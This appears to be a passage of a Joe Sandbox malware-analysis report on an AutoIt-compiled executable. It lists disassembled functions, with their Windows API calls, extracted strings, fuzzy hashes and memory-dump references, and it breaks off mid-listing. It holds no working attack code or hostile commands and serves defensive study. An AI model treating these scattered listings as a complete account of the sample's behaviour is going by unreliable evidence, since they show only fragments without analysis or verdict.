Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: C8C19F722052A34BDF2D867E843443FBEA19AA27B531E076DE4B3CB4C5EE24D524D630

Function 00D60677 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 7df0e2bd2faee1c18dd28e57f4b229a2e7bb8c57e2a87c5863cb96d788f8100c
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: E6C19E722092934BEF2D867A843443FBFA15AA27B131E076ED4B3CB5C5EE24D524D670

Function 00D9A750 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00D9A7A5
DeleteObject.GDI32(00000000), ref: 00D9A7B7
DestroyWindow.USER32 ref: 00D9A7C5
GetDesktopWindow.USER32 ref: 00D9A7DF
GetWindowRect.USER32(00000000), ref: 00D9A7E6
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00D9A927
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00D9A937
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9A97F
GetClientRect.USER32(00000000,?), ref: 00D9A98B
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D9A9C5
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9A9E7
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9A9FA
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9AA05
GlobalLock.KERNEL32(00000000), ref: 00D9AA0E
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9AA1D
GlobalUnlock.KERNEL32(00000000), ref: 00D9AA26
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9AA2D
GlobalFree.KERNEL32(00000000), ref: 00D9AA38
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9AA4A
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00DCD9BC,00000000), ref: 00D9AA60
GlobalFree.KERNEL32(00000000), ref: 00D9AA70
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00D9AA96
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00D9AAB5
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9AAD7
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00D9ACC4

Strings

, xrefs: 00D9AC4A
AutoIt v3, xrefs: 00D9A977
DISPLAY, xrefs: 00D9AB27
static, xrefs: 00D9A9BF, 00D9AB16

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: c070fc7c3713139efce10cd9f443cf7680925d3ad6f6ff75d20833eddcb57c17
Instruction ID: 465500b48b424c753088b7599ac5a728d6573e0baf1a185eb9125c4a31e48497
Opcode Fuzzy Hash: c070fc7c3713139efce10cd9f443cf7680925d3ad6f6ff75d20833eddcb57c17
Instruction Fuzzy Hash: 7D024D7590021AAFDF14DFA9CD89EAE7BB9EB48310F148159F915EB2A0D730AD41CB70

Function 00DAD095 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00DAD0EB
GetSysColorBrush.USER32(0000000F), ref: 00DAD11C
GetSysColor.USER32(0000000F), ref: 00DAD128
SetBkColor.GDI32(?,000000FF), ref: 00DAD142
SelectObject.GDI32(?,00000000), ref: 00DAD151
InflateRect.USER32(?,000000FF,000000FF), ref: 00DAD17C
GetSysColor.USER32(00000010), ref: 00DAD184
CreateSolidBrush.GDI32(00000000), ref: 00DAD18B
FrameRect.USER32(?,?,00000000), ref: 00DAD19A
DeleteObject.GDI32(00000000), ref: 00DAD1A1
InflateRect.USER32(?,000000FE,000000FE), ref: 00DAD1EC
FillRect.USER32(?,?,00000000), ref: 00DAD21E
GetWindowLongW.USER32(?,000000F0), ref: 00DAD249

Part of subcall function 00DAD385: GetSysColor.USER32(00000012), ref: 00DAD3BE
Part of subcall function 00DAD385: SetTextColor.GDI32(?,?), ref: 00DAD3C2
Part of subcall function 00DAD385: GetSysColorBrush.USER32(0000000F), ref: 00DAD3D8
Part of subcall function 00DAD385: GetSysColor.USER32(0000000F), ref: 00DAD3E3
Part of subcall function 00DAD385: GetSysColor.USER32(00000011), ref: 00DAD400
Part of subcall function 00DAD385: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00DAD40E
Part of subcall function 00DAD385: SelectObject.GDI32(?,00000000), ref: 00DAD41F
Part of subcall function 00DAD385: SetBkColor.GDI32(?,00000000), ref: 00DAD428
Part of subcall function 00DAD385: SelectObject.GDI32(?,?), ref: 00DAD435
Part of subcall function 00DAD385: InflateRect.USER32(?,000000FF,000000FF), ref: 00DAD454
Part of subcall function 00DAD385: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00DAD46B
Part of subcall function 00DAD385: GetWindowLongW.USER32(00000000,000000F0), ref: 00DAD480
Part of subcall function 00DAD385: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00DAD4A8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: e5453f81600614c4f74ba5c6d1db24ac8d5e9f7e9f53763dbdc6c9a802e05313
Instruction ID: 0e7428e41906a5b9ce65eac677a0948690b92784e245df85c24b11a942d3345c
Opcode Fuzzy Hash: e5453f81600614c4f74ba5c6d1db24ac8d5e9f7e9f53763dbdc6c9a802e05313
Instruction Fuzzy Hash: A2916171408302BFDB109F64DC48E5BBBAAFF86325F140A29F562D62E0D775D944CB62

Function 00D448C8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00D44956
DeleteObject.GDI32(00000000), ref: 00D44998
DeleteObject.GDI32(00000000), ref: 00D449A3
DestroyIcon.USER32(00000000), ref: 00D449AE
DestroyWindow.USER32(00000000), ref: 00D449B9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00DBE179
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00DBE1B2
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00DBE5E0

Part of subcall function 00D449CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D44954,00000000), ref: 00D44A23

SendMessageW.USER32 ref: 00DBE627
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00DBE63E
ImageList_Destroy.COMCTL32(00000000), ref: 00DBE654
ImageList_Destroy.COMCTL32(00000000), ref: 00DBE65F

Strings

0, xrefs: 00DBE474

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: a9c2da1eb081df36c8d923c26a6d8db09b9755fab5354efa7343fdfa7f3fc49b
Instruction ID: 8a65b10f152ff256375dfa765deffac3da1d918823495b6bba939f54ad950438
Opcode Fuzzy Hash: a9c2da1eb081df36c8d923c26a6d8db09b9755fab5354efa7343fdfa7f3fc49b
Instruction Fuzzy Hash: 97127A30600212DFDB24CF28C984BEABBE5FF45305F584569E59ADB262C731E885DBB1

Function 00D9A3F7 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00D9A42A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00D9A4E9
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00D9A527
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00D9A539
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00D9A57F
GetClientRect.USER32(00000000,?), ref: 00D9A58B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00D9A5CF
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00D9A5DE
GetStockObject.GDI32(00000011), ref: 00D9A5EE
SelectObject.GDI32(00000000,00000000), ref: 00D9A5F2
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00D9A602
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D9A60B
DeleteDC.GDI32(00000000), ref: 00D9A614
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00D9A642
SendMessageW.USER32(00000030,00000000,00000001), ref: 00D9A659
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00D9A694
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00D9A6A8
SendMessageW.USER32(00000404,00000001,00000000), ref: 00D9A6B9
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00D9A6E9
GetStockObject.GDI32(00000011), ref: 00D9A6F4
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00D9A6FF
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00D9A709

Strings

AutoIt v3, xrefs: 00D9A577
DISPLAY, xrefs: 00D9A5D4
msctls_progress32, xrefs: 00D9A68A
static, xrefs: 00D9A5C9, 00D9A6E3

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 6e5e2eb1abb14518a8aa6705e90c1b02f35e23117ca796d5b102fce3a8412f4c
Instruction ID: 16f6af1967c2376b36d4e47b148141251a265a8a70066605055214f6380ca005
Opcode Fuzzy Hash: 6e5e2eb1abb14518a8aa6705e90c1b02f35e23117ca796d5b102fce3a8412f4c
Instruction Fuzzy Hash: ADA14C71A40219BFEB14DBA9DD4AFAE7BB9EB04710F008114F615EB2E0D770AD44CB60

Function 00D8E44C Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D8E45E
GetDriveTypeW.KERNEL32(?,00DDDC88,?,\\.\,00DDDBF0), ref: 00D8E54B
SetErrorMode.KERNEL32(00000000,00DDDC88,?,\\.\,00DDDBF0), ref: 00D8E6B1

Strings

ATA, xrefs: 00D8E629
RAID, xrefs: 00D8E64C
RAMDisk, xrefs: 00D8E575
Network, xrefs: 00D8E589
Fixed, xrefs: 00D8E593
Removable, xrefs: 00D8E59D
FileBackedVirtual, xrefs: 00D8E67D
SATA, xrefs: 00D8E661
SSA, xrefs: 00D8E637
Unknown, xrefs: 00D8E56B, 00D8E614
SSD, xrefs: 00D8E5D8
Virtual, xrefs: 00D8E676
MMC, xrefs: 00D8E66F
USB, xrefs: 00D8E645
Fibre, xrefs: 00D8E63E
1394, xrefs: 00D8E630
ATAPI, xrefs: 00D8E622
CDROM, xrefs: 00D8E57F
SAS, xrefs: 00D8E65A
\\.\, xrefs: 00D8E4B3
SCSI, xrefs: 00D8E61B
iSCSI, xrefs: 00D8E653
PhysicalDrive, xrefs: 00D8E4EF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 368538f74edd70f47efeb83e654e72cb806be8f909f119ebb0619dbcc816932c
Instruction ID: 6b46cb8883a41f4cd90cef7a81824b711974419c576d7c28ca6f5912891984d7
Opcode Fuzzy Hash: 368538f74edd70f47efeb83e654e72cb806be8f909f119ebb0619dbcc816932c
Instruction Fuzzy Hash: EA51A430248305AF8610FF15C89383AB7A1EB54744B678D19F586E7291E760DE49DF72

Function 00D4C714 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 245COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D4C741
__wcsnicmp.LIBCMT ref: 00D4C759
__wcsnicmp.LIBCMT ref: 00D4C771
__wcsnicmp.LIBCMT ref: 00D4C789
__wcsnicmp.LIBCMT ref: 00D4C7A1
__wcsnicmp.LIBCMT ref: 00D4C7B5
__wcsnicmp.LIBCMT ref: 00D4C7C9
__wcsnicmp.LIBCMT ref: 00D4C7E1
__wcsnicmp.LIBCMT ref: 00D4C8B2
__wcsnicmp.LIBCMT ref: 00D4C8C6
__wcsnicmp.LIBCMT ref: 00D4C8DA
__wcsnicmp.LIBCMT ref: 00D4C8EE

Strings

#ce, xrefs: 00D4C8E8
#comments-start, xrefs: 00D4C7C3, 00D4C8AC
Unterminated group of comments, xrefs: 00DB3475
#include-once, xrefs: 00D4C79B
#notrayicon, xrefs: 00D4C753
#pragma compile, xrefs: 00D4C73B
#comments-end, xrefs: 00D4C8D4
#OnAutoItStartRegister, xrefs: 00D4C783
#cs, xrefs: 00D4C7DB, 00D4C8C0
#requireadmin, xrefs: 00D4C76B
#include, xrefs: 00D4C7AF
Cannot parse #include, xrefs: 00DB3482
Bad directive syntax error, xrefs: 00DB346D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: afd72b321b6e82f6b405fa2f48954accc92a9d7bc70364b2e72b87cb2640cae6
Instruction ID: 1f5f7d2b04c0f6e9a7179c7d895f7e8c75846375ccb4b9abdcb59f6819c23c4f
Opcode Fuzzy Hash: afd72b321b6e82f6b405fa2f48954accc92a9d7bc70364b2e72b87cb2640cae6
Instruction Fuzzy Hash: 15613931651716BBDF71AA248C83FBA339DEF15740F181025FD86AA2C2EF60DA05D6B1

Function 00DA6189 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00DDDBF0), ref: 00DA6245

Strings

SHOWDROPDOWN, xrefs: 00DA62FC
GETLINECOUNT, xrefs: 00DA64E0
DELSTRING, xrefs: 00DA6365
GETSELECTED, xrefs: 00DA64BD
TABRIGHT, xrefs: 00DA62B9
HIDEDROPDOWN, xrefs: 00DA631C
ISENABLED, xrefs: 00DA6288
SENDCOMMANDID, xrefs: 00DA65C6
ISVISIBLE, xrefs: 00DA6251
UNCHECK, xrefs: 00DA649D
TABLEFT, xrefs: 00DA62A3
GETCURRENTLINE, xrefs: 00DA6500
SELECTSTRING, xrefs: 00DA6422
GETCURRENTSELECTION, xrefs: 00DA63FF
GETCURRENTCOL, xrefs: 00DA6520
ISCHECKED, xrefs: 00DA6455
EDITPASTE, xrefs: 00DA6557
CURRENTTAB, xrefs: 00DA62D9
FINDSTRING, xrefs: 00DA6392
ADDSTRING, xrefs: 00DA6332
SETCURRENTSELECTION, xrefs: 00DA63D2
CHECK, xrefs: 00DA6487
GETLINE, xrefs: 00DA6587

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: 5796d3afbfb6a881c8dd4e6a211ed3f0d955548e8b9678e25eb194cdb1136630
Instruction ID: 7f1a4f5c9e5db01e64c9fd3154227eb131998a2925ffa22a776e55b3f07b5c5d
Opcode Fuzzy Hash: 5796d3afbfb6a881c8dd4e6a211ed3f0d955548e8b9678e25eb194cdb1136630
Instruction Fuzzy Hash: 20C15074204201CFCA04EF14C461A6E7796EF96394F0D8869BD865B3A6DB21DD4ECBB2

Function 00DAD385 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00DAD3BE
SetTextColor.GDI32(?,?), ref: 00DAD3C2
GetSysColorBrush.USER32(0000000F), ref: 00DAD3D8
GetSysColor.USER32(0000000F), ref: 00DAD3E3
CreateSolidBrush.GDI32(?), ref: 00DAD3E8
GetSysColor.USER32(00000011), ref: 00DAD400
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00DAD40E
SelectObject.GDI32(?,00000000), ref: 00DAD41F
SetBkColor.GDI32(?,00000000), ref: 00DAD428
SelectObject.GDI32(?,?), ref: 00DAD435
InflateRect.USER32(?,000000FF,000000FF), ref: 00DAD454
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00DAD46B
GetWindowLongW.USER32(00000000,000000F0), ref: 00DAD480
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00DAD4A8
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00DAD4CF
InflateRect.USER32(?,000000FD,000000FD), ref: 00DAD4ED
DrawFocusRect.USER32(?,?), ref: 00DAD4F8
GetSysColor.USER32(00000011), ref: 00DAD506
SetTextColor.GDI32(?,00000000), ref: 00DAD50E
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00DAD522
SelectObject.GDI32(?,00DAD0B5), ref: 00DAD539
DeleteObject.GDI32(?), ref: 00DAD544
SelectObject.GDI32(?,?), ref: 00DAD54A
DeleteObject.GDI32(?), ref: 00DAD54F
SetTextColor.GDI32(?,?), ref: 00DAD555
SetBkColor.GDI32(?,?), ref: 00DAD55F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: a49f846d797238b95728b007319fb985e2706aa07e747982f897192d706b5e50
Instruction ID: 7c272b3b90d9810fd8bc1cd9956fc4b024328bcf50203dcb5a669793c8a2cc00
Opcode Fuzzy Hash: a49f846d797238b95728b007319fb985e2706aa07e747982f897192d706b5e50
Instruction Fuzzy Hash: C6513D7190020AAFDF109FA8DC48EAEBBBAFF09320F144525F915EB2A1D7759940DB60

Function 00DAB4D4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00DAB5C0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00DAB5D1
CharNextW.USER32(0000014E), ref: 00DAB600
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00DAB641
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00DAB657
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00DAB668
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00DAB685
SetWindowTextW.USER32(?,0000014E), ref: 00DAB6D7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00DAB6ED
SendMessageW.USER32(?,00001002,00000000,?), ref: 00DAB71E
_memset.LIBCMT ref: 00DAB743
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00DAB78C
_memset.LIBCMT ref: 00DAB7EB
SendMessageW.USER32 ref: 00DAB815
SendMessageW.USER32(?,00001074,?,00000001), ref: 00DAB86D
SendMessageW.USER32(?,0000133D,?,?), ref: 00DAB91A
InvalidateRect.USER32(?,00000000,00000001), ref: 00DAB93C
GetMenuItemInfoW.USER32(?), ref: 00DAB986
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00DAB9B3
DrawMenuBar.USER32(?), ref: 00DAB9C2
SetWindowTextW.USER32(?,0000014E), ref: 00DAB9EA

Strings

0, xrefs: 00DAB95F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 191acaf776994425121d3179e96ff1ae2bd1478945b09cacac432e0ff8744f89
Instruction ID: fa95e9bef8abc0de1ef3ee5a3b01d4b3b08ebce54d3ccf394f7b11c42c326667
Opcode Fuzzy Hash: 191acaf776994425121d3179e96ff1ae2bd1478945b09cacac432e0ff8744f89
Instruction Fuzzy Hash: 2CE17E75900209AFDB109F90CC84EEE7BB9FF06724F148156F955AB292DB748A82DF70

Function 00DA744C Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00DA7587
GetDesktopWindow.USER32 ref: 00DA759C
GetWindowRect.USER32(00000000), ref: 00DA75A3
GetWindowLongW.USER32(?,000000F0), ref: 00DA7605
DestroyWindow.USER32(?), ref: 00DA7631
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00DA765A
